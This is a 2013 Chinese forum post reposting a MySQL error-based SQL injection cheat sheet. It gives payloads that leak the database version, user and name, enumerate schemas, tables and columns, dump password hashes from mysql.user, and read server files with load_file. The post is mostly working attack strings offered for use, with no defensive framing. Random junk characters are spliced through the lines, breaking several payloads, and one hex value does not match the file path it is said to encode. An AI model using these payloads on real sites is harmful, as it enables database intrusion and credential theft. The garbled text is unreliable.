本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 2 |2 U8 `; N: c
% i5 y+ d/ Y& J
" G( c, f0 R; H6 Y2 L) h
Mysql暴错注入参考(pdf),每天一贴。。。4 \( n& H4 a- C
5 q$ I. j( U) l+ L
MySql Error Based Injection Reference: f! U2 x$ S# @" b% B$ T7 K) @1 }5 \) _
[Mysql暴错注入参考]
* K( w3 u1 c5 V5 q4 WAuthornig0s1992! e. p, H0 P& E7 Q$ A" F' u
Blog:http://pnig0s1992.blog.51cto.com/4 u. O% |6 P3 y9 w8 [( w, p( q7 S0 D
TeAm:http://www.FreeBuf.com/! Q( [: _) r4 Y1 x& m9 ]
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
* N( _) D' i/ Z: l( F4 k/ N小部分版本使用name_const()时会报错.可以用给出的Method.2测试
* Z5 J) r% O1 a/ l) p查询版本:3 z$ \# A3 c1 f$ d5 v; J6 o( c0 {
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+4 h" I" s1 }/ }3 P' ~9 e @2 ^* b( g* L
join+(select+name_const(@@version,0))b)c)6 R0 a- J( W, v; j6 n
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
; j; _; u% p4 r" Y+ Lup by a)b)( b5 K* j n5 d9 `5 I: i
查询当前用户:4 p( L5 h+ H. q
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)3 M, `% _1 L4 P) g# z* w3 |
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r- o: x% R) \* Q
and(0)*2))x+from+information_schema.tables+group+by+x)a)" J, L9 F7 ?& o% J u# q: H
查询当前数据库:
2 Q3 L' ?/ q' Q8 w, C4 l' kMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
1 V) B% `$ Y0 y8 r: I8 n% ^Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
7 s, n; y) A, U8 ?8 ~" U i& D1 Xor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)! n6 S0 @* C) x
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
- d: r) N+ F# u* _LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n3 o$ h1 w5 m9 l$ B2 Q0 N9 U
顺序替换; T3 E+ ], h$ V# |! ~1 F
爆指定库数目:' W. F6 L. R& p: e+ } _
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
- k% Q8 w! L+ I4 B6 G7 c) g5 Yable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
, q0 e! r) z; l' e K+by+x)a)+and+1=1 0x6D7973716C=mysql
6 W5 [+ K0 T5 C( q3 K H7 @( g7 z7 j依次爆表:
1 N, H- z0 q( t! `. band+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
' K D- f" U- V$ _6 M: h, `able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta3 F% e4 i( ]0 y8 w; B! k9 p1 t
bles+group+by+x)a)+and+1=1
4 _* a% H7 Z; E. v0x6D7973716C=Mysql 将n顺序替换/ B" y2 J) P( r9 M, @ p
爆表内字段数目:
/ s7 S r* D' M* i! h! [8 _5 B9 v5 sand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
$ I/ a+ C' ?; r) V, `% B+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
+ l3 z. V; p% M. Z* B% f0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
( t$ i6 c6 x3 L依次爆字段:1 a) H. L& X5 r8 _5 d2 j; j
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
0 P: y) R! J/ t6 K% O2 f& t+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1) N# E0 u' Q9 H7 V
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
, A ?* d7 c7 ~$ ]7 M/ w依次暴内容:
/ ?5 i& m2 N4 P0 mand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
; X. F( n9 i: }# W! ]ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1. v; i9 Z0 B3 c+ X3 I; g0 H4 u
将n顺序替换
' b! m9 U8 N9 L' R' |* y- v爆文件内容:* U* I n' I& w" V2 ~+ B
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a' r4 N2 z# H2 p" ^3 k' l* x9 |
from+information_schema.tables+group+by+a)b)
, e# `8 r3 X7 p$ T0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
: u7 y" q5 f+ b- SThx for reading.
% `. S, b- ~! z. i4 m5 p' y& r+ m
: p3 J/ F; ]! _5 G" r2 d0 h不要下载也可以, ; ] s1 s4 `" F) B2 h9 Z
|